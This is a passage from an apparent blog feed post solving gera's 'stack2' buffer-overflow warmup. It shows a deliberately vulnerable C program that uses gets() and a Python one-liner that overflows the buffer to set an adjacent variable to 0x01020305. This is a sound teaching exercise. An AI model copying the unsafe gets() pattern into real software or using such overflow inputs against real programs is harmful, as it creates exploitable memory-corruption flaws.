/* <a href="stack2.c">stack2.c</a>                                     *
 * specially crafted to feed your brain by gera */

int main() {
	int cookie;
	char buf[80];

	printf("buf: %08x cookie: %08x\n", &amp;buf, &amp;cookie);
	gets(buf);

	if (cookie == 0x01020305)
		printf("you win!\n");
}</span></pre>
<p>If you have solved the first abo, you should see that this one looks the same way. Well, it looks the same way but now I&#8217;m gonna explain you a little bit more and may be some hints to play after!</p>
<p><span id="more-154"></span></p>
<p>Maybe you did the same than I have done: <em>look the program and say, oh it&#8217;s the same! Easy!</em></p>
<p>But here there are a little few things to care about: where is the <strong>01 ascii character</strong> on my keyboard? How can I do to send it to the program?</p>
<p>Well&#8230; I don&#8217;t know where are you and which keyboard do you have but on mine, the 01 ascii char doesn&#8217;t appear, so my solution was to print the character with <strong>Python</strong> and then use it as program&#8217;s standard input.</p>
<p><a href="http://www.python.org"><strong>Python</strong></a> allows you to execute commands directly from command line. I.e.:</p>
<blockquote><p>python -c &#8220;print &#8216;hola&#8217;&#8221;</p></blockquote>
<p>And python&#8217;s print allows you to print hexadecimal characters:</p>
<blockquote><p># prints: A b<br />
print &#8216;\x41 b&#8217;</p></blockquote>
<p>So now, we need to create the input for the program&#8230; As everything works the same way than first abo solution, we copy the standard input and modify the last characters by the hexa values:</p>
<blockquote><p>python -c &#8220;print &#8216;AAAAAAAAAABBBBBBBBBBCCCCCCCCCC&#8217; \<br />
&#8216;DDDDDDDDDDEEEEEEEEEEEEFFFFFFFFFF&#8217; \<br />
&#8216;GGGGGGGGGGHHHHHHHH\x05\x03\x02\x01&#8242;&#8221;</p></blockquote>
<p>Now, compile the stack2.c as abo2.c and do:</p>
<pre><span style="color:#ff9900;">python -c "print  'AAAAAAAAAABBBBBBBBBBCCCCCCCCCC' \
'DDDDDDDDDDEEEEEEEEEEEEFFFFFFFFFF' \
'GGGGGGGGGGHHHHHHHH\x05\x03\x02\x01'" | ./abo2</span></pre>
<p>Ok! We won again! <img src='http://s0.wp.com/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> </p>
<p>A good exercise is to change the first abo solution to use this method using asci codes (on hexadecimal) just to play a little bit more.</p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/oneaboperweek.wordpress.com/154/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/oneaboperweek.wordpress.com/154/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/oneaboperweek.wordpress.com/154/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/oneaboperweek.wordpress.com/154/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/oneaboperweek.wordpress.com/154/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/oneaboperweek.wordpress.com/154/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/oneaboperweek.wordpress.com/154/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/oneaboperweek.wordpress.com/154/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/oneaboperweek.wordpress.com/154/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/oneaboperweek.wordpress.com/154/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/oneaboperweek.wordpress.com/154/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/oneaboperweek.wordpress.com/154/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/oneaboperweek.wordpress.com/154/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/oneaboperweek.wordpress.com/154/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=oneaboperweek.wordpress.com&amp;blog=12750122&amp;post=154&amp;subd=oneaboperweek&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://oneaboperweek.wordpress.com/2010/04/12/stack-warmup-2-solution/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/1e2bf2f09802cb8df6e5e96bb182a085?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">cesarbernardini</media:title>
		</media:content>
	</item>
	</channel>
</rss>
